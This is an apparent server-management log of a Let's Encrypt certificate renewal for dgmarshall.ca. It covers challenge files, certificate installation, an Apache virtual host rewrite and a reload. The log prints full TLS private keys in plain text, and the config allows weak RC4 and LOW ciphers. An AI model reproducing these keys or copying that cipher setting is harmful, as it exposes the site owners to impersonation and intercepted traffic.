ExJpbmVlZHRvc2F5dGhpcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDSgNgzJ7XoJOC+iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doD
pWvp3we2nL1GCICNjbJHMBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCus
Vw0L3/xk9M17dgtJvJtBkfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6
RvPCgs/VKJ89TC5Wp0QsckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q
/k+npWIXWaW3ntWsuH+yMsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWz
ytdXZg19KYhPIiQHOpYRvrAcIXLFAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFFXxz/zYt0Ee/cTJh+E9loRHVmDuMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISaW5lZWR0b3NheXRoaXMu
Y29tghZ3d3cuaW5lZWR0b3NheXRoaXMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTE3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AMs49xWJfIShRF9bwd37yW7ymlnN
RwppBYWwyxTDFFjnAAABmtNad8kAAAQDAEYwRAIgGGB3/aAsyO819GtIep0td/GN
4RgNgLSHwbWleAl+wZsCIAS92S/Z831vh4gBTL6NJIZSRfAvaA6U16cX8a6ICBB9
AHYADleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGa01p3jQAABAMA
RzBFAiEAhVL4TBDzeFZ1NbD29Hy+Uy0O7yjPMs05ll36J0CESAsCIHEN68985XJ4
SPYpS9Nknhe5miBdtNEz5whxtB/3cCxHMA0GCSqGSIb3DQEBCwUAA4IBAQBTs+ZT
+qsfHomjm1y8cz5b9ZqZrjoeG3llgL6QUaZ0VNP2dJEPb417fpTFPrF61/oSzz3M
Wnaf/6YvIbUR4vcKg8H8X9nRKP84N0D1ospkGmc094i0T0W9nn+zgPTd4Z4U9Qdw
zwaBF2seIGcr4IDadRjrq5YKVr45q8hZERwzCMkNA/ZdwDeXRjN+n5T96HUe/Duq
aOqLzJBNFCbiYddWp84XOaS05SXK5WAXooBGLmRtH44KXvPArxHNZgJ5Pk27lrfJ
vFaXeffsRyj4hSczMcCD4j1lCeTFdTOCK5cdwjAUN0r0Awr/VORQdKEdf63L1aOL
PRqcRiR3kTso130m
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDSgNgzJ7XoJOC+
iiJyYnzPehKL4JD1pQopzBHw8J6g+B1J80e/v4BB1doDpWvp3we2nL1GCICNjbJH
MBsCBhdGAfK5Aofm4V38sKheB+4k7nrqkRlCIlLkLCusVw0L3/xk9M17dgtJvJtB
kfqUsm6wJpXt4AajDDFJsBsTN21wnXP72oTr/i3Nirb6RvPCgs/VKJ89TC5Wp0Qs
ckKMp92CxcciXHXV2kK8HGmQhiI1J6hAirWlkT0Bu10q/k+npWIXWaW3ntWsuH+y
MsDvzUyVh5t2x+r1zX6QoBKj3X7BKeMkqTSpTk9fMJWzytdXZg19KYhPIiQHOpYR
vrAcIXLFAgMBAAECggEBAJP7cAHGUOM5yaUphr3S7tsMfi1HWaDWvSZVB+fRwDJ5
Ol3aYP4zqf6eT/1wNUTcPZfq6ERrhbP9gO76qoHptkLI69GULeXpWSFjL3mrKYdc
/5wXFSKg7pTpWGp3Z/yJIe33Ct1YRuc3aA3YicgvCBFdjtkDPKcy0xNychY4SP94
6edwZbhYm1CDIIZqwOccPxEm5SE/ElTsQ+dyF6JHwK5lRnUijF//F9FdLWZDJTxI
t7UIekowU7CpkZW55jpU/PywMWOlerXRLuFLaYFlDjY6CszmBxTuY2wBbB7NNlRT
nYQHrSZpZeoKieKdyNtzJfd/vZJreUfb8y23BcQYogECgYEA+alzC2ej1Q2iJefc
l6LW+Cp9fB6JQpQdpxh2Sp2tLLT1hOy5PA/GgJkn2M27wg5YZLfW/LEIzmPrsP7b
G1KGDaga5pc3UtFAVJvBkDqx3aGDYBKRbfOedyeIQ0eucCkHWePK84hKEJGpnu7/
kdo561NmPbjtO7Nl84PweLW+ETECgYEA19jnVbqYBqPpifN1Y0UpB6UfkSNzMsWz
kmOQk8IsxZLK2lsa7U1ICP2h2Mx6Yv/s5CbzYbmp6paJStN7BRnOKfkyIgLk9tvv
zrPKQcAYR4zi17xP+1M76wlnsJkTbHf8NUkEvlEfNCjfto0Y6PomTWZ/S7sB2xtN
hymCXJbONdUCf3AmrodxByet+CkO/wkfHXJdpAEdtosx/iAR3RGnwyNSJviPXqac
b49VPZEm2jFSQGL+MpVQ8aPFPxtDYSnk6FM6MNtlEnUhisR3M3yW4U+uPlXqAWpj
BcyA9bVDfhjkVWkL6x97GcpXpNrAgg4C+gG8dTFE4UzwSdwaaOvQuJECgYAmGJtj
7yYL7fw3I+gxGDDQr50tsbMQYAJ8sOQAoEHksS7qcTAEeCJhq9pX+GcVeBQohJNq
SSmrRNyAf2j0EoTntZrak+Yzh8gAlIz7I9tlLYGQECWRtzQZHLTXX30lJNw3z2Zt
7MV0IE6z2p1t6VC/UnrfM+d085GwbGwcyWUl7QKBgQDzjCDrhhgChnQP5d2YmAhY
QSQjfWUiCx3CLNkaYQ30S4lNZdkMu/x3H338zdWnPtIs2vN1nR3BzHjNXsWBdt7N
eT9oknF/cWRD2XKbz0jem1PBPh3oZlRcfIUQt9Wjhj8nFPIn1br4akHU3w/0N0N3
TnqV5lU4kX+4m+y0neYGNQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:54: Establishing a connection
2025-11-30 06:01:55:
PUT: /tmp/pkp569916
#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-30 06:01:55:
chmod 755 /tmp/pkp569916; /tmp/pkp569916; rm /tmp/pkp569916
2025-11-30 06:01:55:
1
2025-11-30 06:01:55: Establishing a connection
2025-11-30 06:01:55:
PUT: /tmp/pkp411844
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak
cat > 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ
2025-11-30 06:01:55:
chmod 755 /tmp/pkp411844; /tmp/pkp411844; rm /tmp/pkp411844
2025-11-30 06:01:55:
2025-11-30 06:02:05: Establishing a connection
2025-11-30 06:02:05:
PUT: /tmp/pkp601507
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm BO11lSdx4OHU_pYS_kPknT51VH4Pzrp52WfVSrejVak
rm 4-klphMAiQmxSe2dxg16CJTPqWY1EFT7sI7P8pJP0wQ
2025-11-30 06:02:05:
chmod 755 /tmp/pkp601507; /tmp/pkp601507; rm /tmp/pkp601507
2025-11-30 06:02:05:
2025-11-30 06:02:05: Establishing a connection
2025-11-30 06:02:06:
PUT: /tmp/pkp495758
#!/bin/bash
temp_file=$(mktemp)
TARGET=81f76087f3fb05d6e60af69d2a7f0ab7.crt
cat > $temp_file <<'endmsg'
59:93:4b:8e:2e:88:03:ca:94:58:33:31:c5:0f:a4:4a
-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBdoARZB2YEVqdz2/rXGMkglkMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTMwMDUwMzM1WhcNMjYwMjI4MDUwMzM0WjAYMRYwFAYDVQQD
Ew1kZ21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
vQxokcryQ0kzi21iL+mK67MR8wEuzqdcTNjKN0PuABbF6zIaipNmvbow2/uLVMOW
sVzmZX7y62/Gln3c45SeMPkbZtzGOx5iOsCvb9xahlOwkAn6giJj2eHDe5ZctZMx
Ev066Ni4f9DULYEeH5FsfdqJxEa6UuS3zs1IOeD+9OPgQHRCOgvToYcBwjH6kfLV
VWOAxbR0DWFLXpwdbHlyXjycL7ecLBgF74tJSNN3aESjGRTuFZoNCEa6wVB1UJ1V
FYhllVZT8i3W4EyV25hmwJx9sgNyFq/aumfiYxT2BrcuzIM2cKhBkcnGXwz1vp3U
hAGr1PHSbzEt3e/iIpJIiwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBQe3siTtGfVFy9p4UBH1Zs2K9DA2jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWRnbWFyc2hhbGwuY2GCEXd3dy5k
Z21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTAxLmNybDCCAQQGCisGAQQB1nkC
BAIEgfUEgfIA8AB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAAB
mtNaqFwAAAQDAEcwRQIhAJLoRBp1BsubA26U+w6S055frDJ1FUjost8VCAzub+N7
AiBinot9sm0jayfSW9YoQ1w2vhaeCTNAZsYRc0F7uSR7rwB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmtNaqHwAAAQDAEcwRQIhAI6GqGn2vjm/
l0K0azymvoLjCC0hDhB2p7KKcQxZq54AAiB82gFyxuxYh7xUexvGiTNBuCtaXGZZ
3b7tVRhgqcQSYTANBgkqhkiG9w0BAQsFAAOCAQEAPgaFIWRgt5ePqVVH/Ww7omid
LBUExyPsvYrWS1JUBCYV7Mz1SEWj0QpdNe8lAM3M2N6/fz7AmXjLynt+/PiqChTM
+eI1t8S3MTTlDPDG2op9ttY+7H7AVorptWgDgGK1NOQrEcIUTYvPmQqd6vpBYIae
diYQBRIUb+fpNjr/dQ4OAwtoOZbCMtf3uWY/khD9O32cIsKmqnqPBPH/uzlajUcW
UJTTw3U/nbGchVa5CsnTFNx5sWqFjNgurAlu33r13W8bxqdMO+5J+KscbGWbRRRx
SxO7Pm6pOVUbRkJotpUA61v/2ufvMRnaJDTUvBVCSWPwC2Iv5EGzxuSf3Rh7Kg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC9DGiRyvJDSTOL
bWIv6YrrsxHzAS7Op1xM2Mo3Q+4AFsXrMhqKk2a9ujDb+4tUw5axXOZlfvLrb8aW
fdzjlJ4w+Rtm3MY7HmI6wK9v3FqGU7CQCfqCImPZ4cN7lly1kzES/Tro2Lh/0NQt
gR4fkWx92onERrpS5LfOzUg54P704+BAdEI6C9OhhwHCMfqR8tVVY4DFtHQNYUte
nB1seXJePJwvt5wsGAXvi0lI03doRKMZFO4Vmg0IRrrBUHVQnVUViGWVVlPyLdbg
TJXbmGbAnH2yA3IWr9q6Z+JjFPYGty7MgzZwqEGRycZfDPW+ndSEAavU8dJvMS3d
7+IikkiLAgMBAAECggEAGOQqXI/hKBTaUZBcbjyMyw3v3hQYyqLkl0WwEmjCTIaz
Fo2pSvevfmmmh0BujwGVtNKrj0+QwokcF7KIw/pMfdw+zGNjQmN0wZGfR9Y2oRsh
00VNE5ddmFGOgJZCrLGts3deK0xltoaTeU5X3gYyx7tfilVZsRJmVTdYPC6wwyOH
auydqT1IZx494/NX4oCNFECbWAxgGFB0VgMe/6RLfm58Mwd5fke8fwjJZMlQ6Fzo
wK6kb3PEfjXK3U6AS3I4PeCbk0BdORLC8CYgC6sut8vbhTS2A00+fyxYfXPMq7UH
n3iG5wMcP1SFjvHHbY9O+/wI/OGxC9Sw9KNjV876WQKBgQD7+ncwOcRj9XUJkH9z
ql+r9j2KHIRjnQbvcCay0Eh11BcFjP84tyLXr8HbFFlEBrfEJz+O5aZr5XKLTUE8
0bWRY/S/0DS0l40bmZZ2YWetqmsJY56YGYnmiek79BwjAADvx7o5ClZ40cB6CDnD
NO4ofOV1OfU8edzsn1iGZ49PZQKBgQDAENLWE8Wufu1M44vnp5G//7ezpwfFibPJ
erZq2sBOQHQhBM90SRo965yt6d9YkFdY8vqSPfp0Xlzj+f82TUlCwZoDOf43FvyU
3A4j7vvu52uX0PQMsKh3fCa514p808/AFjIH8f5DQ3CpqLJu/W0za80AjctPc/yu
2xObH7kRLwKBgEnzjjtnGM5FYZ32/JDTtdRgJlt8VxZtJXXsMk9UdY+vOTp10Qmy
JdWrTXeglzoxxokZA7xKhfcwlddwSu8wlNsgvNn2nyFJQS6SeugvWiBL3bIZvJfj
FufEHeFsmT1kaOH2eh73e71lwdmOxHUX+bWEQkuPQPwIv9/qPC7mAddJAoGBAL9Q
wsNNxK7Rbg0V6CljqHIpBdKlQb+KMBU07/o2VjJcT5EIWqFJpCMjy9kMylZMyUUo
G2KK7Cz4Re0s/AQaLiyZ7pDiNpCnjAe3vzoZ9sf9qxX5pO/zFIyYlXau9hrrXdjI
AyQY8B4OUm4dRUf7lsgOzJCNrYRCU+PVA42UpuMvAoGBAMBFFRSLLufsEOiL00dN
qVLtt8scbeRDJoJiLsHOtZKUZEUlOi7F9ihDbL4wgNSA17n/u/svlLKvhNKwdkes
ITraTW5XUtcxXh+uvLy+4ChuAaEFbvNHRvXvvCyjeaIefCz3gfh7GagetBH1xkfA
fKJNx/pXcp7S/uzAlIQJsI7b
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-30 06:02:06:
chmod 755 /tmp/pkp495758; /tmp/pkp495758; rm /tmp/pkp495758
2025-11-30 06:02:06:
dir=/etc/ssl/certs
2025-11-30 06:02:06:
PUT: /tmp/pkp493499
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/dgmarshall_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-30 06:02:06:
chmod 755 /tmp/pkp493499; /tmp/pkp493499; rm /tmp/pkp493499
2025-11-30 06:02:06:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/dgmarshall_www_ca.conf 41
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
2025-11-30 06:02:06:
PUT: /tmp/pkp644847
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=dgmarshall_www_ca.conf
TARGET=/etc/apache2/sites-enabled/dgmarshall_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName dgmarshall.ca
ServerAlias www.dgmarshall.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/81f76087f3fb05d6e60af69d2a7f0ab7.crt
DocumentRoot /var/www/dgmarshall_www
<Directory /var/www/dgmarshall_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/dgmarshall/www_secure_access.log combined
ErrorLog /var/log/apache2/dgmarshall/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://dgmarshall.com/$1 [R=302,L]
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/dgmarshall_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/dgmarshall_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/dgmarshall_www_ca.conf= 1'
fi
2025-11-30 06:02:06:
chmod 755 /tmp/pkp644847; /tmp/pkp644847; rm /tmp/pkp644847
2025-11-30 06:02:06:
2025-11-30 06:02:06:
PUT: /tmp/pkp984397
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-30 06:02:06:
chmod 755 /tmp/pkp984397; /tmp/pkp984397; rm /tmp/pkp984397
2025-11-30 06:02:06:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-30 06:02:06: Establishing a connection
2025-11-30 06:02:06:
PUT: /tmp/pkp409521
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-30 06:02:06:
chmod 755 /tmp/pkp409521; /tmp/pkp409521; rm /tmp/pkp409521
2025-11-30 06:02:06:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
